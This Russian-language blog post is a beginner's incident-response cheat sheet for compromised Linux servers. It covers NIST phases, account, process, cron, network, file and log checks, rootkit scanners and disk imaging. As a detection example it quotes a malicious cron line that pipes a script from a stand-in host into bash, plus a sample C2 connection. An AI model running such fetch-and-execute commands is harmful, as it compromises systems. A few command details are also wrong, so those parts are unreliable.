В мире, где всё чаще происходят кибератаки, важно иметь понимание процесса реагирования на инциденты информационной безопасности. Особенно важно это в контексте Linux-систем, которые являются основой многих критически важных элементов ИТ-инфраструктуры компаний. Под катом вы найдете базовые моменты этого процесса, команды, которые могут быть использованы для анализа, а также точки интереса, на которые стоит обращать внимание. Статья будет полезна в первую очередь начинающим администраторам Linux-систем и отделам ИБ для составления планов по реагированию. 

Введение

Реагирование на инциденты (Incident Response) — это список действий, который нужно выполнять всякий раз, когда происходит инцидент безопасности компьютера или сети. Применять этот процесс следует ко всем системам, которые были или могли быть скомпрометированы, в порядке, соответствующем их критичности для компании. Процесс реагирования стандартизирован различными организациями, и эти методологии хорошо использовать как фундамент в выстраивании своих корпоративных IR-процессов. Здесь можно ознакомиться с руководством по работе с инцидентами кибербезопасности от NIST. 

По методологии NIST, процесс по реагированию состоит из четырех шагов:

Подготовка (Preparation) — включает: 

• мероприятия по повышению готовности команды реагировать на возникший инцидент (составление инструкций/плейбуков/IRP, проведение учений, отработку взаимодействий между службами), 

• действия, направленные на предотвращение инцидентов (обучение сотрудников, составление модели угроз, практические действия по защите активов и т. д.)

  Обнаружение и анализ (Detection and Analysis) — 

• определение типа инцидента (например, вредоносное ПО, утечка данных)

• оценка его серьезности и потенциального воздействия на организацию,

• исследование и анализ: ( логи, сетевой трафик и системные данные), чтобы понять, как инцидент произошёл и какие системы были затронуты, 

• уведомление об угрозе заинтересованных лиц – ваше руководство, клиентов или пресс-службу компании.

  Сдерживание, ликвидация и восстановление (Containment, Eradication, and Recovery) — 

• изоляция зараженных систем, ограничение доступа пользователей,

• очистка систем от вредоносного ПО и его следов (например, нелегитимные разрешающие правила на МЭ), установка патчей и обновление программного обеспечения для устранения уязвимостей,

• восстановление данных из резервных копий и возвращение систем в рабочее состояние,

• проверка нормального функционирования.

  Действия после инцидента (Post-Incident Activity) — 

• анализ инцидента: первопричины, что произошло, как была обнаружена проблема и как происходило реагирование,

• документирование инцидента: временные рамки, действия по реагированию, принятые решения,

• обсуждение выводов с командой,

• отчет об устранении для клиентов, руководства или регулятора.

Существует множество способов и методов, которые помогают сдерживать нарушения безопасности, ликвидировать угрозу и восстанавливать работу систем после этого. Стратегия зависит от серьезности инцидента, количества затронутых систем, их уровня критичности и вектора атаки. 

На этапе пост-инцидентного анализа необходимо определить причины инцидента, выявить сильные и слабые стороны в системе, а также обсудить с коллегами, как повысить защищенность инфраструктуры, чтобы предотвратить подобные случаи в будущем. 

В реальных условиях специалист ИБ сразу после того, как обнаружит инцидента безопасности работает непосредственно с «живой» системой, а затем, при необходимости, с помощью профильных инструментов проводит пост-анализ памяти и диска. Зачастую проведение пост-анализа вообще лежит за пределами базового (первичного) реагирования и требует эскалирования инцидента до второй линии SOC. Поэтому в контексте этой статьи мы не будем обсуждать пост-анализ образа. Также, исходя из соображения «Поздно пить Боржоми, когда печень отвалилась», здесь не пойдет речь и про мероприятия по подготовке. Будем считать, что самое плохое уже случилось, несмотря на все усилия по предотвращению.

Итак, получить первичное представление о том, что же произошло на системе, можно изучив следующие точки интереса: 

• информация об имени хоста, IP-адресе, операционной системе;

• информация о системных сервисах;

• изучение запущенных процессов и служб;

• учетные записи, их разрешения, входы в систему;

• записи в журналах;

• проверка сетевых подключений, открытых портов и сетевой активности;

• изучение файлов (поскольку в Linux файл — это основная сущность, в широком смысле анализ состоит из изучения именно файлов) .

Где это надо смотреть? В первую очередь IR-команда обратит внимание на оповещения SIEM, IDS/IPS и алерты от антивирусов и EDR. Затем дело дойдет до непосредственно затронутых систем, а точнее, сбора информации (любые подозрительные события/учетные записи/файлы и т. д.), анализа артефактов и найденного вредоносного ПО. Важно отметить, что эта статья — шпаргалка по ручному поиску и реагированию на проникновение в систему Linux. Если ваша организация располагает инструментами типа SOAR, то текст ниже будет мало полезен для вас. Однако SOAR, как и SIEM/IDPS/EDR — недешевые штуки, и есть не у всех. Поэтому если в арсенале отдела ИБ пока нет продвинутых инструментов, шаги ниже предоставят необходимую информацию для реагирования на инциденты безопасности. Пожалуй, начнем. 

Базовая информация о системе

В первую очередь целесообразно собрать сведения о системе. Точно ли эта та система, которая нам нужна? 

Выполните команду uname -a . 

Вывод будет выглядеть примерно так:

Linux vm-debian-article 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64 GNU/Linux

Что это значит?

Linux — операционная система;

vm-debian-article — название хоста;

5.10.0-19-amd64 — версия ядра, номер сборки и архитектура;

#1 — ревизия сборки;

SMP — Symmetric Multi-Processing, означает, что ядро поддерживает многопроцессорную обработку;

Debian 5.10.149-2 (2022-10-21) — дополнительные сведения о ядре. Здесь «Debian» указывает на дистрибутив Linux (Debian), «5.10.149–2» — это версия Debian а «(2022–10–21)» указывает на дату сборки;

x86_64 — архитектура процессора, используемая в системе. В данном случае это 64-битная архитектура;

GNU/Linux — отображает, что система работает под управлением ядра Linux.

Также на этом этапе могут оказаться полезными команды hostnamectl, df -h, lspci и lscpu. 

Обратим внимание на строки со словом vulnerable. Это не свидетельствует о факте совершившейся атаки, но в контексте реагирования на инцидент фраза «Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown» указывает на потенциальную уязвимость, связанную с обработкой данных в центральном процессоре системы.

Фраза «Vulnerable: Clear CPU buffers attempted, no microcode» указывает на попытку очистки буферов центрального процессора для предотвращения утечек конфиденциальной информации и на отсутствие микрокода, который обычно предоставляется производителем процессора для устранения уязвимостей или улучшения функциональности.

«SMT Host state unknown» в данном случае означает, что ядро работает в виртуальной машине. Это служебные сообщения информационного характера, которые можно запомнить или записать в отчет для более полной картины. Подробнее об этих сообщениях можно прочитать в документации ядра здесь и здесь. 

Хорошо, это точно тот сервер, что нам нужен. А точно ли мы тут одни? Возможно, злоумышленники все еще работают на машине через взломанные учетные записи? Чтобы узнать это, мы используем команду w.

С помощью w можно узнать аптайм системы (в случае на картинке выше он составляет 9 минут), количество пользователей в системе (один), информацию о пользователях: 

имя (столбец USER), 

устройство терминала (TTY), 

с какого адреса подключается (FROM), 

во сколько залогинился (LOGIN@), 

время, в течение которого активность пользователя отсутствует (IDLE), 

время процессора, использованное процессами пользователя (JSPU) 

и что пользователь делает прямо сейчас (WHAT). 

Если выявлены подозрительные аккаунты, работающие с сервером, можно перейти от фазы «обнаружение и анализ» к фазе «сдерживание и ликвидация» и сразу отреагировать командами sudo pkill -u *username* или sudo killall -u *username*, где *username* — это имя подозрительной учетной записи. Эти команды завершают все процессы, связанные с учетной записью. Затем заблокируйте эту учетную запись с помощью команды sudo passwd -l *username* до выяснения. После блокировки записи пользователь больше не сможет войти в систему под этим аккаунтом, пока учетка не будет разблокирована администратором. 

Установите время сервера. Это можно сделать с помощью просмотра /etc/timezone и командами date и date -u. Важно иметь возможность сопоставить временные метки событий с временем сервера. 

Теперь о назначении сервера. Какую роль он выполняет в организации? Может, на нем крутится BIND, и это DNS-сервер. Может, это файловый сервер с Samba на борту. Может, это веб-сервер? В первую очередь надо обратиться к документации по инфраструктуре. Идеально, если рядом есть специалист, который занимался настройкой этого сервера и понимает, как он должен функционировать в нормальных условиях. Если нет ни специалиста, ни документации, можно использовать следующие команды:

systemctl list-unit-files --type=service — с помощью нее можно просмотреть установленные и доступные сервисы сервера. Если добавить к команде --state=running, то вы получите только запущенные сервисы, а также короткое описание. 

ls -la /etc/init.d/ — в системе Linux многие сервисы управляются скриптами, которые могут находиться в этом каталоге, поэтому целесообразно обратить на него внимание. Помимо этого, здесь могут быть размещены вредоносные скрипты, обеспечивающие злоумышленникам, к примеру, закрепление в системе. 

ps -ef отобразит все процессы с максимумом доступных данных. 

dpkg --get-selections (или rpm -qa) даст представление об установленных пакетах.

Команды ifconfig, netstat или ip addr show позволяют просматривать сетевую конфигурацию, включая IP-адреса, состояние сетевых интерфейсов и другие сетевые параметры. Например, выполнив команду netstat -l, мы увидим порты в состоянии прослушивания (listening). Если открыты порты 80 и 443, это говорит о том, что на системе, вероятно, запущен веб-сервер. Если эти порты используются легитимными приложениями (а проверить, кто именно использует порт можно командой sudo netstat -tuln | grep <номер_порта>), то волноваться пока не о чем.

Если на этом этапе обнаружены подозрительные процессы, слушающие порт, то с помощью команды sudo lsof -i :*номер порта* мы можем получить дополнительную информацию о процессе. Если в выводе есть непонятные строки типа такой:

TCP vm-server2.core1.internal:4444 -> c2example.ru:3850 (ESTABLISHED)

то самое время останавливать процесс, который использует это соединение с помощью sudo kill -p *PID* и блокировать адрес назначения на сетевом периметре организации.

Здесь и далее мы получаем представление не только о системе, но и об общем характере инцидента: сведения о векторе атаки, ущерб, уже затронутые ресурсы и ресурсы, которые могут быть потенциально затронуты в дальнейшем. Поэтому на всем протяжении реагирования необходимо обращать внимание на вещи, которых не должно быть на системе. Это могут быть: подозрительные запущенные службы, скрипты непонятного происхождения, аномальная сетевая активность, непонятные учетные записи или известные учетные записи, но с необоснованно высокими привилегиями. 

Аккаунты пользователей и их логи

Обратим внимание на активность учетных записей пользователей: вошедших в систему, существующих в системе вообще, необычные входы в систему, неудачные попытки входа в систему, разрешения, доступ с помощью sudo и т. д. 

Здесь можно начать с небольшой разминки — проверки, под какой учетной записью вошли вы:

echo $USER

и проверки сведений о пароле и блокировке учетной записи:

passwd -S $USER

В выводе первой команды вы должны увидеть имя учетной записи, под которой вы вошли. Вывод второй команды интереснее: вы увидите как имя пользователя, так и сведения о его пароле. Вот пример вывода: 

habrauser P 07/21/2024 0 99999 7 -1

Здесь:

habrauser — имя пользователя, 

P — пароль может быть изменен, 

07/21/2024 — дата последнего изменения пароля, 

99999 — максимальный срок действия пароля в днях (в данном случае без ограничений), 

0 — минимальный срок действия пароля, в данном случае 0 означает, что минимального срока действия пароля нет (пароль может быть изменен в любое время), 

7 — срок действия пароля (в данном случае пароль действителен 7 дней), 

-1 — указывает на дату, когда учетная запись будет заблокирована после истечения срока действия пароля (значение -1 означает отсутствие блокировки из-за истечения срока).

Хорошо, мы немного размяли руки. Проверим, кто из пользователей системы осуществлял вход с помощью команды lastlog. Она отображает дату и время последнего входа каждого пользователя в систему, используя данные из файла /var/log/lastlog.

Если подозревается брутфорс, то необходимо посмотреть логи неуспешных попыток в систему командой sudo last -f /var/log/btmp (или sudo lastb в RHEL/CentOS).

Далее просмотрим список всех учетных записей в системе: 

cat /etc/passwd

Либо, что может оказаться более удобным, перенаправить вывод команды в отдельный файл:

cat /etc/passwd > users.txt

Вы увидите список учетных записей для этой системы. Что-то вроде:

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

…

gotpwned:x:1001:1002::/home/gotpwned:/bin/sh

Данный файл содержит логин пользователя, зашифрованный пароль (или знаки х/* как обозначение хранения пароля в /etc/shadow), UID (User ID), GID (Group ID), GECOS (сведения о пользователе наподобие полного имени или контактной информации), домашний каталог, оболочка, которая используется. 

Ищите любые подозрительные учетные записи. В приоритете — проверка учетных записей, которые были недавно созданы и учетные записи с привилегированными правами. Недавно созданные учетные записи будут помещены в самый низ списка. Обратите внимание на учетные записи с UID 0, так как это дает полный доступ к системе. Кроме того, для определения привилегированных учетных записей потребуется изучить группы (об этом чуть позже). 

Пока что, продолжая анализировать /etc/passwd, проверьте историю изменений файла. Это можно сделать различными способами. Например, если в вашей организации используется SIEM или специализированные программы аудита, то проверьте их. Если используется, например, auditd (а проверить это можно с помощью sudo systemctl status auditd), то посмотреть логи изменений можно с помощью команды sudo ausearch -f /etc/passwd или ausearch -k passwd. 

Если auditd не используется, то можно попробовать посмотреть историю изменений в: 

• /var/log/auth.log ( в Debian, Ubuntu)

С помощью sudo grep 'passwd' /var/log/auth.log

• /var/log/secure (CentOS, Fedora, RHEL)

С помощью sudo grep 'passwd' /var/log/secure.

Что делать, если нежелательные изменения имели место? В этом случае необходимо: 

а) понять, какие именно изменения были внесены, 

б) кем, 

в) в какое время. 

Эта информация очень пригодится в дальнейшем расследовании. Если, например, зафиксировано добавление использовавшейся злоумышленниками учетной записи с помощью другой учетной записи администратора сервера, то следует проверить, каким образом к ней был получен доступ, а время создания новой учетной записи можно принять за начало деятельности атакующих, что станет полезным при изучении логов. 

Если в вашем распоряжении имеется резервная (и точно правильная) копия файла /etc/passwd или если вы используете систему контроля версий, сравните текущий файл с предыдущей версией командой diff /etc/passwd /path/to/backup/passwd.

После этого стоит проверить /etc/group. Файл /etc/group содержит информацию о группах в системе, а также список пользователей, которые являются членами каждой группы. Ищите группы с нестандартными именами, которые могут быть созданы злоумышленниками, а также пользователей с подозрительным членством в группах. Отдельно стоит проверять группы, которые используются для управления с помощью sudo. Чтобы посмотреть эти группы, надо использовать команду sudo visudo. Она открывает файл настроек, в котором указаны правила, определяющие пользователей и группы, которые могут использовать sudo. Например, строка @includedir /etc/sudoers.d указывает на то, что sudo будет искать дополнительные файлы конфигурации в /etc/sudoers.d. Проверим эту директорию. 

Видим, что эта директория содержит файл google_sudoers с содержанием %google-sudoers ALL=(ALL:ALL) NOPASSWD:ALL . Это означает, что группа google-sudoers позволяет своим членам выполнять команды sudo без пароля. Вернемся к просмотру /etc/group с помощью команды cat. 

Если на этом этапе обнаружены подозрительные членства в sudo-группах, то можно удалить такие учетные записи командой sudo gpasswd -d *user* *group*. 

Подозрительные учетные записи также можно проверить на членство в группах командой groups <имя_пользователя>. 

Чтобы попробовать восстановить картину действий с файлом на системе, если используется Auditd, можно просмотреть историю изменений командой ausearch -f /etc/group. Если Auditd не используется, то можно использовать grep из auth.log, как уже было сделано выше. 

sudo grep 'group' /var/log/auth.log

И, если нежелательные изменения были, следует действовать так же, как в случае с /etc/passwd.

Процессы и задачи

Аудит процессов — то, чем точно не стоит пренебрегать при реагировании. В первую очередь здесь помогут команды top и htop, упоминавшаяся выше ps с различными флагами и pstree, отображающая запущенные процессы в виде дерева, что помогает видеть иерархию процессов и их родительские связи.

Также надо поискать следы вредоносных действий в lsof. Он предоставляет информацию о файлах и связанных с ними процессах, запущенных в

системе. Очень удобно использовать команду с флагом -p, который задает PID процесса. Например, в htop вы увидели непонятный процесс, посмотрели его PID, и затем с помощью htop -p посмотрели файлы, связанные с этим процессом. 

После проверки процессов необходимо провести анализ необычных запланированных задач. Запланированные задачи (cron в Linux и Планировщик задач в Windows часто используются злоумышленниками в целях закрепления в системе или автоматического выполнения дополнительных вредоносных действий). Проверить задачи можно с помощью команд cat /etc/crontab ls -la /etc/cron.*. Особое внимание надо обратить на задачи, созданные из-под root (UID 0). Для просмотра таких задач используйте sudo crontab -u root -l. Если вредоносные cron jobs были обнаружены, например, что-то вроде этого:

* * * * * curl -s http://malicious-server.com/malware.sh | bash

то задачу требуется удалить и, если запускаемый cron job процесс уже работает, найти его PID через ps aux | grep и остановить с помощью sudo kill -9 <PID>.

Сеть

В дополнение к уже рассмотренным выше командам сети: ifconfig, netstat и ip addr show можно порекомендовать использовать arp -a для просмотра таблицы MAC-адресов системы. Это позволит составить картину, какие устройства в одном широковещательном домене взаимодействуют друг с другом. В таблице могут быть аномалии, нехарактерные для нормальной работы системы. 

Кроме того, полезно установить, что интерфейсы устройства не находятся в режиме PROMISC. Если сетевой интерфейс находится в промискуитетном режиме (PROMISC), это означает, что он принимает все пакеты, проходящие через сетевой сегмент, а не только те, которые адресованы конкретно ему. Злоумышленник может активировать промискуитетный режим, чтобы видеть пакеты, предназначенные для других устройств. 

Отключить режим можно командой sudo ifconfig eth0 -promisc.

Файлы

Быстро проверить файлы в системе, мягко говоря, проблематично. Если время проникновения в систему примерно известно, то для поиска файлов, которые были изменены за это время, используйте команду find. Это поможет определить файлы, которые могли быть изменены злоумышленниками. 

Допустим, в понедельник была замечена подозрительная активность, но в пятницу на системе все еще было нормально. Команда find / -type f -mtime -3 найдет все файлы, измененные за последние 3 дня. 

Вообще, команда find предоставляет возможность поиска по широкому перечню критериев. Например, для поиска вредоносных исполняемых файлов можно использовать команду 

sudo find / f -name '*.sh' -o -name '*.py' -o -name '*.pl'

Или, если примерно известен список слов, которые могут использоваться в названиях нежелательных файлов, можно использовать команду типа: 

find / -type f | grep -E 'backdoor | keylogger | malware | virus'

Или вот команда, ищущая файлы больше 100 Мб:

sudo find / -type f -size +100M

Если был замечен подозрительный файл, то можно просмотреть подробную информацию о нем с помощью команды stat. 

Также при анализе файлов полезно проверить каталоги /proc, /tmp и /var/tmp. Атакующие могут использовать эти каталоги для хранения вредоносов. 

Логи

Логи могут предоставить ценную информацию о действиях атакующих и состоянии системы. Выше уже рассматривалась работа с несколькими файлами логов: auth.log, lastlog, bmtp. Поэтому здесь сначала тезисно пробежимся по индикаторам, которые можно обнаружить в уже упоминавшихся.

• /var/log/auth.log* [ var/log/secure]

  Успешные входы от несанкционированных пользователей. Что-то вроде:

  Accepted password for <username> from <IP-address> port <port> ssh2

  Подозрительные команды sudo:

  <username> : TTY=pts/0 ; PWD=/home/<username> ; COMMAND=/bin/bash

  Сеансы входа в необычное время, например, ночью или в выходные:

  02:53:20 vm-border-2-westeurope sshd[567]: Accepted publickey 

• lastlog

  Входы пользователей с неизвестных адресов, входы с учетных записей, обычно не использующихся на этой системе.

• /var/log/btmp [/var/log/faillog]

  

  Многочисленные неудачные попытки входа с одного IP, неизвестные или подозрительные имена пользователей или адреса, нехарактерное время входа.

• /var/log/messages. Записи об общих системных событиях.

  Службы, которые неожиданно стартуют или прекращают свою работу, проблемы в работе оборудования.

  kernel: [    5.041462] EXT4-fs (vda2): re-mounted. Opts: errors=remount-ro

  kernel: [23456.789012] Security Warning: Unauthorized access attempt to /boot/grub/grub.cfg

• /var/log/kern.log. Содержит все сообщения, генерируемые ядром Linux.

  Ищем следы нестандартной работы устройств, например, сетевых интерфейсов:

  kernel: [19574.649136] device eth0 entered promiscuous mode

  или попытки доступа к системным ресурсам:

  [ERROR] Unauthorized access to /dev/mem

• /var/log/cron.log. Содержит записи о выполнении задач, запланированных через cron. 

  Ищем необычные задачи: 

  * * * * * /path/to/suspicious_script.sh

• /var/log/boot.log. Cодержит данные о процессе загрузки системы и все сообщения, связанные с инициализацией аппаратного обеспечения и служб.

  Ищем неожиданное поведение во время загрузки — если в логах есть записи о запущенных службах, которые вы не ожидали увидеть, ошибках при запуске легитимных служб, это может быть ценной находкой. 

  [FAILED] Failed to start [service_name]

• Журналы сервисов, размещенных на компьютере: /var/log/maillog (почтовый сервер), /var/log/apache2 (веб-сервер Apache), /var/log/mysql (MySQL) и так далее. 

• .bash_history

Проверка на руткиты

Существуют инструменты для проверки уязвимостей, руткитов, бэкдоров и возможных локальных эксплойтов на сервере. С их помощью полезно периодически (допустим, настроив задачу в cron) проверять систему на различные вредоносные штуки. В случае компрометации сервера это точно не повредит. Использовать для этого можно, например, rkhunter или chkrootkit. Это известные инструменты, и даже в нашем блоге давным-давно выходили туториалы по ним — вот тут и тут для любителей археологии. 

Оптимальная тактика по использованию таких инструментов — применять их после первоначального ручного анализа системы. Во-первых, ручной анализ системы позволяет оперативно выявить очевидные аномалии и следы вторжения, такие как незапланированные процессы, изменения в конфигурационных файлах или подозрительные сетевые подключения. Это дает возможность сосредоточиться на первичных следах компрометации, прежде чем переходить к более глубоким и комплексным проверкам, проводимым Rkhunter. Во-вторых, в ходе ручного анализа специалист может обнаружить конкретные улики, такие как следы вредоносного ПО или специфические файлы, которые необходимо проверить. На основании этой информации можно настроить Rkhunter более тонко через редактирование конфигурационного файла. 

Снятие побитовой копии диска и памяти

Если анализ системы вживую не дал результата, или стоит задача по более глубокой проверке, то необходимо сделать пост-анализ с помощью копий диска и памяти. Снять их можно с помощью нескольких инструментов. Один из них — утилита dd. Это простой и, по мнению Департамента юстиции США, наиболее точный способ. 

Запуск копирования диска осуществляется этой командой: 

sudo dd if=/dev/sda of=/dev/sdb bs=4M conv=sync

А копирование системной памяти вот этой:

dd if=/dev/mem of=/destination

Используя sync, мы снижаем риск потери данных из-за неожиданного сбоя системы или других проблем, которые могут возникнуть при записи. Это обеспечивает полное соответствие между исходным и создаваемым образом.

Восстановление и действия после инцидента

Восстановление системы подразумевает, что уже успешно выполнены шаги по ликвидации угрозы: удалены вредоносные файлы, атакующим закрыт доступ в систему, заблокированы вредоносные соединения и т. д. Кроме того, перед восстановлением следует проверить системы, которые взаимодействуют со скомпрометированным ресурсом по сети, например, имеют с ним общие сетевые папки.

Даже после этого система остается потенциально уязвимой. Самое эффективное с точки зрения безопасности — переустановить систему с нуля и обновить ее до последней версии с применением всех security патчей. Это важно, так как атакующие могли воспользоваться уязвимостями, и если их не закрыть, вероятность повторного «визита» остается высокой. Кроме этого, необходимо проверить настройки безопасности — все ли компоненты антивируса включены (и есть ли он вообще), работают ли политики, используются только безопасные протоколы (HTTPS вместо HTTP, SFTP вместо FTP, SNMPv3/2 вместо v1 и т. д.), а также сменить пароли всех учетных записей. 

Заключение

После устранения последствий инцидента следует удостовериться, что у вас, как ответственного специалиста, есть понимание следующих моментов:

• что послужило причиной проникновения;

• каким образом злоумышленники получили доступ в систему;

• когда и в течение какого времени система была доступна атакующим;

• какие действия предпринимались атакующими;

• верные и неверные действия вашей организации по защите своих систем;

• сколько денег было потеряно из-за инцидента (стоимость простоя оборудования, украденных данных и т. п.);

На основании этих пунктов вам, скорее всего, потребуется предоставить руководству письменный отчет о произошедшем. Не самое приятное занятие, но с другой стороны — изложение такого опыта в документе структурирует ваши мысли и  позволит вам увеличить эффективность противодействия в будущем. 

Хорошей охоты!

---

НЛО прилетело и оставило здесь промокод для читателей нашего блога:
-15% на заказ любого VDS (кроме тарифа Прогрев) — HABRFIRSTVDS.